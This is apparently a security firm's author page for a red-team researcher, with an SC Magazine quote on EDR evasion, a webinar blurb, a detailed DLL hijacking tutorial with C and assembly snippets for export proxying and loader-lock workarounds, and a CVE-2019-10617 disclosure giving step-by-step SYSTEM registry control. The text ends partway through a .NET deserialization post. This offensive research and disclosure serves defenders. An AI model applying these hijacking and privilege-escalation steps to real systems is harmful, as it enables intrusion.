Nick Landers

Nick Landers is Director of Research at NetSPI. His work involves malware development, offensive research, and product management for Red Team Toolkit. He leads the Dark Side Ops training courses and develops tooling, evasions, and strategies for offensive security operations.
More by Nick Landers
WP_Query Object
(
    [query] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "77"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "77"
                            [compare] => LIKE
                        )

                )

        )

    [query_vars] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "77"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "77"
                            [compare] => LIKE
                        )

                )

            [error] => 
            [m] => 
            [p] => 0
            [post_parent] => 
            [subpost] => 
            [subpost_id] => 
            [attachment] => 
            [attachment_id] => 0
            [name] => 
            [pagename] => 
            [page_id] => 0
            [second] => 
            [minute] => 
            [hour] => 
            [day] => 0
            [monthnum] => 0
            [year] => 0
            [w] => 0
            [category_name] => 
            [tag] => 
            [cat] => 
            [tag_id] => 
            [author] => 
            [author_name] => 
            [feed] => 
            [tb] => 
            [paged] => 0
            [meta_key] => 
            [meta_value] => 
            [preview] => 
            [s] => 
            [sentence] => 
            [title] => 
            [fields] => 
            [menu_order] => 
            [embed] => 
            [category__in] => Array
                (
                )

            [category__not_in] => Array
                (
                )

            [category__and] => Array
                (
                )

            [post__in] => Array
                (
                )

            [post__not_in] => Array
                (
                )

            [post_name__in] => Array
                (
                )

            [tag__in] => Array
                (
                )

            [tag__not_in] => Array
                (
                )

            [tag__and] => Array
                (
                )

            [tag_slug__in] => Array
                (
                )

            [tag_slug__and] => Array
                (
                )

            [post_parent__in] => Array
                (
                )

            [post_parent__not_in] => Array
                (
                )

            [author__in] => Array
                (
                )

            [author__not_in] => Array
                (
                )

            [ignore_sticky_posts] => 
            [suppress_filters] => 
            [cache_results] => 
            [update_post_term_cache] => 1
            [lazy_load_term_meta] => 1
            [update_post_meta_cache] => 1
            [nopaging] => 1
            [comments_per_page] => 50
            [no_found_rows] => 
            [order] => DESC
        )

    [tax_query] => WP_Tax_Query Object
        (
            [queries] => Array
                (
                )

            [relation] => AND
            [table_aliases:protected] => Array
                (
                )

            [queried_terms] => Array
                (
                )

            [primary_table] => wp_posts
            [primary_id_column] => ID
        )

    [meta_query] => WP_Meta_Query Object
        (
            [queries] => Array
                (
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "77"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "77"
                            [compare] => LIKE
                        )

                    [relation] => OR
                )

            [relation] => OR
            [meta_table] => wp_postmeta
            [meta_id_column] => post_id
            [primary_table] => wp_posts
            [primary_id_column] => ID
            [table_aliases:protected] => Array
                (
                    [0] => wp_postmeta
                )

            [clauses:protected] => Array
                (
                    [wp_postmeta] => Array
                        (
                            [key] => new_authors
                            [value] => "77"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                    [wp_postmeta-1] => Array
                        (
                            [key] => new_presenters
                            [value] => "77"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                )

            [has_or_relation:protected] => 1
        )

    [date_query] => 
    [request] => SELECT   wp_posts.* FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1  AND ( 
  ( wp_postmeta.meta_key = 'new_authors' AND wp_postmeta.meta_value LIKE '{b84a3ee1aa34790da728d5b92eb3ec264ec652767301125aeef0ccfedeb09593}\"77\"{b84a3ee1aa34790da728d5b92eb3ec264ec652767301125aeef0ccfedeb09593}' ) 
  OR 
  ( wp_postmeta.meta_key = 'new_presenters' AND wp_postmeta.meta_value LIKE '{b84a3ee1aa34790da728d5b92eb3ec264ec652767301125aeef0ccfedeb09593}\"77\"{b84a3ee1aa34790da728d5b92eb3ec264ec652767301125aeef0ccfedeb09593}' )
) AND wp_posts.post_type IN ('post', 'webinars') AND ((wp_posts.post_status = 'publish')) GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC 
    [posts] => Array
        (
            [0] => WP_Post Object
                (
                    [ID] => 25902
                    [post_author] => 77
                    [post_date] => 2021-07-12 15:56:00
                    [post_date_gmt] => 2021-07-12 20:56:00
                    [post_content] => 

On July 12, 2021, NetSPI Director of Research Nick Landers was featured in an article from SC Magazine:

Endpoint detection and response systems can often serve as a frontline defense for many organizations, collecting and storing telemetry from dispersed employee devices and using it to detect malicious activities or behaviors. However, a recent experiment by academic researchers at the University of Piraeus in Greece indicates they are far from a silver bullet when it comes to protecting your organization....

Nick Landers, director of research at penetration testing company NetSPI, told SC Media that that it’s rare for one team or company to even have access to such a wide range of EDR systems and any research that can test and compare different products in the EDR market is valuable in and of itself. 

He said the results outlined in the study largely mirror his experience with customers, and that many advanced threat actors generally rely on two strategies for evading detection by EDR systems: using completely unique or novel tactics that can frustrate heuristic analysis or data algorithms, and “not making noise in general” by understanding what telemetry EDR systems collect and measure.

“I think the ones we see that are the most effective are ones where the attacker understands the data [the EDR system is] collecting and keeps generation of that data low,” he said. 

However, Landers said his main takeaway from the study is not necessarily that EDR products are shoddy or not worth the cost (though he again lamented the lack of access that independent third parties typically have to test such systems), but rather a “more constructive” reinforcement of the need for multiple layers of security to ensure any one tool or process doesn’t become a single point of failure.

“I think looking at the minutiae and finger-pointing and trying to identify specific products and their specific failings is a fault that belongs to everyone in the industry,” he said. “But [EDR systems] are valuable tools and while I might not agree with their strategy or their marketing or cost or licensing model or availability, I think they do contribute to a defense in depth strategy and that’s ultimately what we should all be striving for.”

To learn more, read the full article here: https://www.scmagazine.com/news/network-security/edr-alone-wont-protect-your-organization-from-advanced-hacking-groups

[post_title] => SC Magazine: EDR (alone) won’t protect your organization from advanced hacking groups [post_excerpt] => On July 12, 2021, NetSPI Director of Research Nick Landers was featured in an article from SC Magazine. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => edr-alone-wont-protect-your-organization-from-advanced-hacking-groups [to_ping] => [pinged] => [post_modified] => 2021-07-16 17:03:16 [post_modified_gmt] => 2021-07-16 22:03:16 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=25902 [menu_order] => 21 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [1] => WP_Post Object ( [ID] => 25473 [post_author] => 53 [post_date] => 2021-05-26 19:16:27 [post_date_gmt] => 2021-05-26 19:16:27 [post_content] =>

Endpoint detection and response (EDR) tools are quickly becoming the standard protection against today’s adversaries. Yet, much like the solutions before them – legacy antivirus – attackers are already researching, publishing, and deploying novel techniques to understand and evade modern EDR products. To stay one step ahead of the stealthiest cyber adversaries, red teams and penetration testers must study and simulate real defensive evasion techniques to identify weaknesses in their organization's defense in depth, and security leaders must gain a better understanding of the EDR technologies they invest in.

During this webinar, viewers will: 

  • Explore the role that modern EDRs play and tips for evaluating vendors 
  • Review the latest defensive evasion techniques sophisticated adversaries deploy to bypass EDR tools 
  • Discover helpful resources for staying up to date with modern research and techniques 
  • Learn how to effectively implement the defensive evasion techniques within your own red team operations  

[post_title] => Understanding Modern EDR Tools: How They Work, How They Provide Value, and How to Bypass Them [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => understanding-modern-edr-tools [to_ping] => [pinged] => [post_modified] => 2021-07-14 18:37:42 [post_modified_gmt] => 2021-07-14 23:37:42 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=25473 [menu_order] => 4 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [2] => WP_Post Object ( [ID] => 23530 [post_author] => 77 [post_date] => 2020-02-19 07:00:45 [post_date_gmt] => 2020-02-19 07:00:45 [post_content] =>

DLL hijacking has been a centerpiece of our operations for many years. During that time we’ve explored the deep caveats which make this technique difficult to actually use in the real world. Our implementations have expanded to include export table cloning, dynamic IAT patching, stack walking, and run time table reconstruction. We explore the details of these techniques extensively in our Dark Side Ops courses and we’d like to share some of that knowledge here.

If you’ve ever “understood” DLL hijacking, only to return to your lab and fail to get it working properly, this post is for you.

TLDR? Check out Koppeling. You really should read it though 

Refresher

This post won’t cover the basics of DLL hijacking. We expect you are familiar with module search order, KnownDLLs, “safe search”, etc. If you need a refresher, here are some links:

In addition, some tooling designed to discover/exploit hijacks:

When you first learned about DLL hijacking, you were likely shown a fairly primitive example which is trivial to exploit. Something like this:

void BeUnsafe() {
	HMODULE module = LoadLibrary("functions.dll");
	// ...
}

Here, we simply need to get some evil code into the correct location as “functions.dll”. LoadLibrary will ultimately trigger the execution of our DllMain function, where we might write something like this:

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	// Do evil stuff
	system ("start calc.exe");

	return TRUE;
}

There are a few critical reasons exploitation is so trivial here. We’ll go through them here and then look at each one in more detail throughout the post.

  1. We don’t maintain the stability of the source process. In most instances, it will exit, crash, or otherwise misbehave as a result of our hijack. After all, it’s likely loading this DLL for a reason.
  2. We don’t maintain code execution in the source process. As an extension of 1, we are simply executing calc externally. We don’t care if the process stays up, or even what happens after we “pop our shell”.
  3. We don’t care about loader lock. Because our entry point is so simple, we don’t have to worry about executing complex code inside DllMain while the loader lock is held (which can be dangerous).
  4. We don’t have to worry about export names. Because this hijack occurs as a result of LoadLibrary, our malicious DLL doesn’t need to include any specific export names or ordinals.

If you’ve ever attempted to hijack in the real world, and something broke/failed, it was likely because of one (or many) of the 4 points above. Our time spent hijacking has yielded many tools and snippets which we’ll share throughout the post, so let’s get smarter.

Execution Sinks

There are two primary “sinks” from which DLL execution can originate. The names aren’t important, but we need consistent terminology to stay on the same page. Both of these sinks are provided by the module loader (LDR) within ntdll.dll. If an actor is interested in gaining execution as part of a DLL load, they require a call to ntdll!LdrpCallInitRoutine, triggering execution of evil!DllMain.

Static Sink (IAT)

The most obvious cause for DLL initialization is the result of its inclusion in a dependency graph. Specifically, it’s membership of a required module’s import address table (IAT). This will most likely occur during process initialization (ntdll!LdrpInitializeProcess), but can also occur as a result of dynamic loading.

Here, the subsystem is simply calculating all required dependencies for a particular load event, and sequentially initializing them. However, before passing execution to the new module, it’s export table will be examined to ensure it provides the expected functionality. This is done by comparing the EAT of the child module and patching those addresses into the IAT of the parent module. A typical call stack looks something like this:

ntdll!LdrInitializeThunk <- New process starts
ntdll!LdrpInitialize
ntdll!_LdrpInitialize
ntdll!LdrpInitializeProcess
ntdll!LdrpInitializeGraphRecurse <- Dependency graph is built
ntdll!LdrpInitializeNode
ntdll!LdrpCallInitRoutine
evil!DllMain <- Execution is passed to external code

Dynamic Sink (LoadLibrary)

In a similar, but distinctly different process, active code is requesting a new module be initialized without specifying required functions. As a result, ntdll!LdrLoadDll will happily ignore the export table of the target module. This will likely be followed by GetProcAddress in an attempt to identify a particular function for run time use, but not always.

The dependency graph will be calculated with the requested module at its root and load events will occur as described above. This call stack looks something like this:

KernelBase!LoadLibraryExW <- Dynamic module load is requested
ntdll!LdrLoadDll
ntdll!LdrpLoadDll
ntdll!LdrpLoadDllInternal
ntdll!LdrpPrepareModuleForExecution
ntdll!LdrpInitializeGraphRecurse <- Dependency graph is built
ntdll!LdrpInitializeNode
ntdll!LdrpCallInitRoutine
evil!DllMain <- Execution is passed to external code
Takeaway

Hijacks are more complicated to implement when part of a static sink. We need to ensure our export table supplies the required import names of our parent module before we have control over execution. In addition, by the time we have control of execution the addresses in our EAT will have already been patched into the parent module. This complicates any solution which would just rebuild the export table at run time.

Function Proxying

Maintaining stability in our source process demands that we proxy functionality to the real DLL (if there is one). This essentially means, through one means or another, linking our export table to the export table of the real DLL. Game hackers have been using this for a long time, but like hikers and hunters, the knowledge was slow to propagate to network security spheres. Here are some references links that tackle proxying through different methods:

And here are some projects that implement these methods:

These techniques all accomplish the same outcome through slightly different means. Let’s take a quick look at some strategies for better understanding.

Export Forwarding

PE files provide a simple mechanism for redirecting exports to another module. We can take advantage of this and simply point our names at the same export from the real DLL. You can either rename the real file or just use the full path. Most do this using linker directives like so:

#pragma comment(linker,"/export:ReadThing=real.ReadThing")
#pragma comment(linker,"/export:WriteThing=real.WriteThing")
#pragma comment(linker,"/export:DeleteThing=real.#3")
#pragma comment(linker,"/export:DoThing=C:\\Windows\\real.DoThing")
// ...

Very easy, and we offload the work to the loader subsystem. It might look a bit obvious that we are attempting a hijack (e.g. every export is forwarded), but the advantage lies in its simplicity. One downside is the requirement to modify source code and/or build processes to prepare a DLL for hijacking, we’ll solve this later.

The traditional format for the module name was *without* the “.dll” extension when defining a forward. Nowadays this doesn’t matter as the LDR subsystem has learned to ignore it. However, older systems like Windows 7 / Server 2008 will still fail if an extension is included. They also might crash when error reporting is attempted due to LdrUnloadDll being called too early.

Stack Patching

An equally elegant, but more dynamic approach is to walk the stack backward from DllMain and replace the return value for the LoadLibrary call above us with a different module handle. As a result, any future calls to lookup functions will simply bypass us completely. It should be no surprise to the reader at this point, but this technique will only work for dynamic sinks. With static sinks, the LDR subsystem has already validated our export table and patched IATs with its values, nor does it care what we have to say about module handles.

Preempt mentions this in a post about Vault 7 techniques, but they don’t go into much detail. Luckily we’re crazy enough to try this stuff, so we’ve written a small PoC which should demo the trick nicely for anyone who wants to run with it.

https://gist.github.com/monoxgas/b8a87bec4c4b51d8ac671c7ff245c812

Run Time Linking

Here we create a hollow list of function pointers, and compile our export table to reference them. The names will be there, but the functions themselves won’t go anywhere useful. When we gain control in DllMain, we load the real DLL dynamically and remap all of the function pointers at run time. This is essentially re-implementing export forwarding…. but with more code. We still have the same disadvantage of modifying source and/or build processes.

hijack.def<code>EXPORTS

ReadThing=ReadThing_wrapper @1
WriteThing=WriteThing_wrapper @2
DeleteThing=DeleteThing_wrapper @3</code>
hijack.asm<code>.code
extern ProcList:QWORD
ReadThing_wrapper proc
	jmp ProcList[0*8]
ReadThing_wrapper endp
WriteThing_wrapper proc
	jmp ProcList[1*8]
WriteThing_wrapper endp
DeleteThing_wrapper proc
	jmp ProcList[2*8]
DeleteThing_wrapper endp</code>
hijack.cpp<code>extern "C" UINT_PTR ProcList[3] = {0};

extern "C" void ReadThing_wrapper();
extern "C" void WriteThing_wrapper();
extern "C" void DeleteThing_wrapper();

LPCSTR ImportNames[] = {
   "ReadThing",
   "WriteThing",
   "DeleteThing"
}

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	HANDLE real_dll = LoadLibrary( "real.dll" );
	for ( int i = 0; i &lt; 3; i++ ) {
		ProcList[i] = GetProcAddress(real_dll , ImportNames[i]);
	}

	return TRUE;
}</code>

Run-Time Generation

We could also go crazy and just re-build the entire export address table at run time. Here we need not know what DLL we are going to hijack when we write our code, which is nice. We can also add a basic function which re-implements the Windows search order to try and locate the real DLL dynamically. It could also perform basic alterations like .old and .bak within the current directory just in case.

hijack.cpp<code>HMODULE FindModule(HMODULE our_dll)
{
	WCHAR our_name[MAX_PATH];
	GetModuleFileName(our_dll, our_name, MAX_PATH);

	// Locate real DLL using our_name

	if (our_dll != module){
		return module;
	}
}

void ProxyExports(HMODULE module) 
{
	HMODULE real_dll = FindModule(module);

	// Rebuild our export table with real_dll

	return;
}

BOOL WINAPI DllMain(HMODULE module, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	ProxyExports(module);

	return TRUE;
}</code>

This strategy, while elegant, suffers from being so dynamic. We no longer include the export names in our static table unless we explicitly add them (re: static sinks). In addition, we receive execution after the import tables (IATs) of other modules might already contain references to our old export table (static sinks again). There is no easy fix for the former that keeps us dynamic unless we simply add every export name we might expect to need across all DLLs. To fix the latter, we need to iterate loaded modules and patch in addresses to the real DLL. Nothing some code can’t solve, but a convoluted solution to some eyes. The bulk of this strategy can be found in the Koppeling project below.

Another caveat is that references to, and within, the export table are relative virtual addresses (RVAs). Because of their size (DWORD), we are limited to placing our new export table somewhere within 4GB of the PE base unless it can fit inside the old one. Not an issue on x86, but certainly on x64.

Takeaway

Export forwarding is the easiest solution when it comes to proxying functionality. It’s preparatory (we need to create the DLL with a specific hijack in mind), but the loader subsystem does the heavy lifting. We can make some nice improvements to the preparation process itself which we’ll look at later. We like the flexibility of run-time generation, but it has weaknesses regarding static-sinks and their requirement for export names to be included in the file on disk. When it comes down to it, we might as well automate export forwarding.

Loader Lock

The LDR subsystem holds a single list of loaded modules for the process. To solve any thread sharing issues, a “loader lock” is implemented to ensure only one thread is ever modifying a module list at one time. This is relevant for hijacking as we typically gain code execution inside DllMain, which occurs while the LDR subsystem is still working on the module list. In other words, ntdll has to pass execution to us while the loader lock is still being held (not ideal). As a consequence, Microsoft provides a big list of things you certainly SHOULD NOT DO while inside DllMain.

  • Call LoadLibrary or LoadLibraryEx (either directly or indirectly). This can cause a deadlock or a crash.
  • Call GetStringTypeA, GetStringTypeEx, or GetStringTypeW (either directly or indirectly). This can cause a deadlock or a crash.
  • Synchronize with other threads. This can cause a deadlock.
  • Acquire a synchronization object that is owned by code that is waiting to acquire the loader lock. This can cause a deadlock.
  • Initialize COM threads by using CoInitializeEx. Under certain conditions, this function can call LoadLibraryEx.
  • Call the registry functions. These functions are implemented in Advapi32.dll. If Advapi32.dll is not initialized before your DLL, the DLL can access uninitialized memory and cause the process to crash.
  • Call CreateProcess. Creating a process can load another DLL.
  • Call ExitThread. Exiting a thread during DLL detach can cause the loader lock to be acquired again, causing a deadlock or a crash.
  • Call CreateThread. Creating a thread can work if you do not synchronize with other threads, but it is risky.
  • Use the memory management function from the dynamic C Run-Time (CRT). If the CRT DLL is not initialized, calls to these functions can cause the process to crash.
  • Call functions in User32.dll or Gdi32.dll. Some functions load another DLL, which may not be initialized.
  • Use managed code.

Scary list, right?

In our experience, however, this list is not as bad as it might appear. For example, LoadLibrary is typically safe to call within DllMain. In fact during static sinks, the loader lock is not re-acquired as long as the same thread is still in initialization. The call to LdrLoadDll will simply re-trigger dependency graph calculation and initialization. Does this mean that Microsoft is wrong to publish the list above? Absolutely not. They are just trying to prevent issues wherever possible.

The real answer to “Can I do <questionable thing> inside DllMain?” is typically “it depends, but avoid trying it”. Let’s check out one example where LDR synchronization can cause a deadlock:

hijack.cpp<code>DWORD ThreadFunc(PVOID param) {
	printf("[+] New thread started.");
	return 1;
}

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	DWORD dwThread;
	HANDLE hThread = CreateThread(0, 0, ThreadFunc, 0, 0, &amp;dwThread);

	// Deadlock starts here
	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}</code>

Regardless of the sink we use, our DllMain will get stuck waiting for the new thread to finish, but the new thread will be waiting for us to finish. You can see this in the two call stacks for the threads:

DllMain<code>...
ntdll!LdrpCallInitRoutine
Theif!DllMain
KernelBase!WaitForSingleObjectEx
ntdll!NtWaitForSingleObject &lt;- Waiting for the thread</code>
ThreadFunc<code>ntdll!LdrInitializeThunk
ntdll!LdrpInitialize
ntdll!_LdrpInitialize
ntdll!NtWaitForSingleObject &lt;- Waiting for LdrpInitCompleteEvent
         (can also be NtDelayExecution/LdrpProcessInitialized != 1)</code>

Inside a dynamic sink, you’ll probably see the deadlock occur in LdrpDrainWorkQueue (as the process has already been initialized by then).

ThreadFunc<code>ntdll!LdrInitializeThunk
ntdll!LdrpInitialize
ntdll!_LdrpInitialize
ntdll!LdrpInitializeThread
ntdll!LdrpDrainWorkQueue
ntdll!NtDelayExecution &lt;- Waiting for LdrpWorkCompleteEvent</code>

This outcome is frustrating, because starting a new thread is the easiest way to avoid LDR conflicts. We can collect execution in DllMain, kick off a new thread, and let our malicious code run there once the process has finished initializing. To avoid the deadlock, we could remove the WaitForSingleObject call like so:

ThreadFunc<code>BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	DWORD dwThread;
	HANDLE hThread = CreateThread(0, 0, ThreadFunc, 0, 0, &amp;dwThread);

	// WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}</code>

This works if the process stays up long enough for our code to execute, but this is a rare occurrence. Most likely, we will return execution to the primary module and it will exit quickly or throw an error if we haven’t done proxying properly. Our thread will never get a chance to do anything useful.

Hooking for Stability

Lucky for us, we do hold execution long enough to implement a hook, so we can try to take over primary execution once LDR is done. Where exactly we place this hook is going to depend on where in the execution chain we sit.

  • Pre-Load: The process is still being initialized and execution has not been handed over to the primary module. In this case, we’d likely want to hook the entry point of the primary module.
  • Post-Load: The process has already started core execution, and we might be loaded as a consequence of a LoadLibrary call. The most optimal is to just hook the last function in the call stack which is part of the primary module. Whatever issues/errors bubble up can be ignored then.

To differentiate between these two scenarios was can just keep walking backward in the stack. If we find a return address for the primary module, we are probably post-load. Otherwise, the process likely hasn’t kicked off yet and the entry point is our best bet. Naturally, we’ve built a proof of concept already so you don’t have to pull your hair out:

https://gist.github.com/monoxgas/5027de10caad036c864efb32533202ec

Takeaway

Loader lock represents some challenges, but nothing too difficult as long as we respect it. Starting a separate thread for any significant code is the best option. In situations where we need to keep the process alive so the thread can continue run, we can use function hooking.

Koppeling

We started this post by introducing various complexities of hijacking. Let’s review and pair them up with relevant solutions:

  1. Stability of the source process: Use function proxying, avoid loader lock.
  2. Maintaining code execution inter-process: Use proxying and/or function hooking.
  3. Complexities of loader lock: Use new threads and/or function hooking.
  4. Static export names: Use post-build cloning, static definitions, linker comments, etc.

If there is one thing to communicate however, the solution space is quite large and everyone will have preferences. Our current “best” implementation combines the simplicity of export forwarding with post-build patching for flexibility. The process goes like this:

  1. We compile/collect our “evil” DLL for hijacking. It doesn’t need to be aware of any hijacking duty (unless you need to add hooking).
  2. We clone the exports of a reference DLL into the “evil” DLL. The “real” DLL is parsed and the export table is duplicated into a new PE section. Export forwarding is used to correctly proxy functionality.
  3. We use the freshly cloned DLL in any hijack. Stability is guaranteed and we can maintain execution inter-process.

We’re releasing a project to demonstrate this, and some other, advanced hijacking techniques called Koppeling. Much like our sRDI project, it allows you to prepare any arbitrary DLL for hijacking provided you know the final path of the reference DLL. We hope you find use for it and contribute if you love hijacking as much as we do.

https://github.com/monoxgas/Koppeling

Wrap Up

Our team is very passionate about not only how to weaponize a technique, but how to do it with stability and poise. We want to avoid impact to customer environments at all costs. This kind of care demands hours of research, testing, and development. Our Slingshot toolkit maintains seamless integration with the techniques we’ve detailed here to ensure our team and others can take full advantage of hijacking. As mentioned earlier, we also dive deeper into these topics in our Dark Side Ops course series if you’re hungry for more.

We hope this post has provided a deeper understanding of this often misrepresented technique. Till next time.

– Nick (@monoxgas)

[post_title] => Adaptive DLL Hijacking [post_excerpt] => [post_status] => publish [comment_status] => open [ping_status] => open [post_password] => [post_name] => adaptive-dll-hijacking [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:14 [post_modified_gmt] => 2021-04-13 00:05:14 [post_content_filtered] => [post_parent] => 0 [guid] => http://www.netspi.com/?p=23530 [menu_order] => 174 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [3] => WP_Post Object ( [ID] => 23532 [post_author] => 77 [post_date] => 2019-10-09 07:00:17 [post_date_gmt] => 2019-10-09 07:00:17 [post_content] =>

Discovery

In DbgView one day, I noticed repeated noisy output from a particular process. The pestering output bothered me enough to do some investigating. The offender was C:\Windows\System32\Drivers\AdminService.exe, the binary backing the AtherosSvc Windows service. This is installed as part of the Qualcomn Atheros wireless/bluetooth chip set drivers (QCA61x4 in my case). I began reversing the binary to track down the verbosity and look for security issues while I was at it.

While there were no symbols for the binary, the authors had kindly included so many debug print statements that contextualizing the logic was rather easy. The majority of it’s code was fairly boilerplate for a Windows service and included some threading, hardware management, and registry management. Initially, I just went hunting for any uses of useful WinAPIs (file management, ACL modification, process handling, token duplication, etc). This led me to an interesting function which appears to perform arbitrary registry work using some INI file contents. It looked something like this:

LPWSTR ini_path[520];
SHGetSpecialFolderPathW(0, &amp;ini_path, 35, 0); // %ProgramData%
wcscpy_s(&amp;ini_path, 260, L"\\Atheros\\AtherosServiceConfig.ini");

LPSTR str_op_type[2];
LPSTR reg_path[260];
GetPrivateProfileStringW(L"AthService", L"regOpType", 0, str_op_type, 2, &amp;ini_path);
GetPrivateProfileStringW(L"AthService", L"regPath", 0, reg_path, 260, &amp;ini_path);

DWORD op_type = convert_to_int(str_op_type);
DWORD top_key = get_top_key_from_path(reg_path);

HANDLE hKey, hSubKey;

if (op_type == 1)
{
	LPSTR reg_value[260];
	GetPrivateProfileStringW(L"AthService", L"regValue", 0, reg_value, 260, &amp;ini_path);
	
	// Delete registry value

} 
else if (op_type == 2)
{
	
	LPSTR reg_value[260];
	LPSTR reg_data[260];
	GetPrivateProfileStringW(L"AthService", L"regValue", 0, reg_value, 260, &amp;ini_path);
	GetPrivateProfileStringW(L"AthService", L"regData", 0, reg_data, 260, &amp;ini_path);

	LPSTR str_reg_type[2];
	GetPrivateProfileStringW(L"AthService", L"regType", 0, str_reg_type, 2, &amp;ini_path);
	DWORD reg_type = convert_to_int(convert_to_int);

	// Create reg value

} 
else if (op_type == 3)
{
	// Delete registry key
}

A quick check on my host showed that, for some reason, C:\ProgramData\Atheros did not exist. ProgramData is writable by any user, so our primitive was looking good. The next challenge was triggering this block of code on demand. I traced back references to the registry function to find a looping ThreadProc function which implemented most of the actual logic for the app.

DWORD ThreadProc(PVOID param){
	MSG msg;

	while (true) {
		GetMessageW(&amp;msg, 0i64, 0, 0);

		switch (msg){
			// ...

			case 0x5E62:
				OutputDebugStringW(L"Enter case CUSTOM_THREAD_EVENT_REG_MODIFY!\n");
				do_unsafe_registry_work();
				SetEvent(g_RegEvent);
				break;
		}
	}
}

If we continue following this thread, we discover this thread message code is posted when a specific custom control code is delivered to the service.

DWORD Handler(DWORD dwControl, ...)
{
	switch (dwControl){
		// ...

		case 133:
			ResetEvent(g_RegEvent);
			PostThreadMessageW(dwThread, 0x5E62u, 0, 0);
			WaitForSingleObject(g_RegEvent, 20000);
			break;
	}
}

*facepalm*, It really is as easy as that. I’m not sure why this code flow exists, and even more unsure why that directory and INI file are never created.

Exploitation

1 – Create C:\ProgramData\Atheros\AtherosServiceConfig.ini and set it’s contents to:

[AthService]
regOpType=3
regPath=HKEY_LOCAL_MACHINE\Software
regValue=RuhRoh
regType=1
regData=ThisAintGood

2 – Send the control code to the service

sc control AhterosSvc 133

It’s trivial to stretch full registry control as SYSTEM into privileged code execution, but I’ll leave that as an exercise for the reader.

The Fix

In response to this, it appears Qualcomm have simply removed the registry modification code completely. The ThreadProc case now looks something like this:

while (true) {
	GetMessageW(&amp;msg, 0i64, 0, 0);

	switch (msg){
		// ...

		case 0x5E62:
			OutputDebugStringW(L"Enter case CUSTOM_THREAD_EVENT_REG_MODIFY!\n");
			// do_unsafe_registry_work();
			break;
	}
}

Funny enough they left the custom control code (133) hooked up to PostThreadMessage resulting in a useless 20 second wait for g_RegEvent to be reset. Suppose this could be a simple indicator to check for a vulnerable host.

Here are the details for the fixed version (for me anyways):

%SystemRoot%\System32\drivers\AdminService.exe

Version: 10.0.10011.16384
Modified: 08/08/2019
SHA1: 0d21b5fa49ab62b6e8fea82e1da3980092b95c70

Timeline

[9/12/19] – Delivered initial report to product-security@qualcomm.com
[9/12/19] – Received initial ticket creation receipt (QPSIIR-1287)
[9/26/19] – Received notice that this issue was reported in April and was a duplicate report. The original reporter was @DownWithUpSec, and you can find his write-up of the vulnerability here.
[10/07/19] – CVE-2019-10617 is published in the October 19 Security Bulletin

[post_title] => CVE-2019-10617 – AtherosSvc Registry LPE [post_excerpt] => [post_status] => publish [comment_status] => open [ping_status] => open [post_password] => [post_name] => cve-2019-10617 [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:38 [post_modified_gmt] => 2021-04-13 00:05:38 [post_content_filtered] => [post_parent] => 0 [guid] => http://www.netspi.com/?p=23532 [menu_order] => 190 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [4] => WP_Post Object ( [ID] => 23534 [post_author] => 77 [post_date] => 2019-06-04 07:00:48 [post_date_gmt] => 2019-06-04 07:00:48 [post_content] =>

In 2017, James Forshaw released a DotNet deserialization gadget which abuses the ActivitySurrogateSelector class from System.Workflow.ComponentModel. As detailed in his post, this gadget is particularly useful, providing cross-version support and the ability to load arbitrary assemblies into memory (as compared to the common Process.Start technique). However, in newer versions of the DotNet framework (4.8+), this gadget was apparently fixed. We rely on this gadget in some of our stage 0 payloads and were interested in finding a workaround. This is a short post detailing our solution.

The Fix

For those who didn’t read Forshaw’s post (you should), the ActivitySurrogateSelector class unintentionally provides a generic wrapper for typically unserializable classes. This is great for complex gadget design because it means you are no longer limited to types marked as Serializable. The particular chain James created to abuse this behavior is quite amazing, and worth analyzing if you get a chance.

To examine how Microsoft patched this problem, I cracked open a patched copy of the System.Workflow.ComponentModel.dll. Comparing against the previous code, we see that a type check has been added to the GetObjectData function, ensuring that only an ActivityBind or DependencyObject can be wrapped with the surrogate.

private sealed class ObjectSurrogate : ISerializationSurrogate
{
	public void GetObjectData(object obj, SerializationInfo info, StreamingContext ctx)
	{
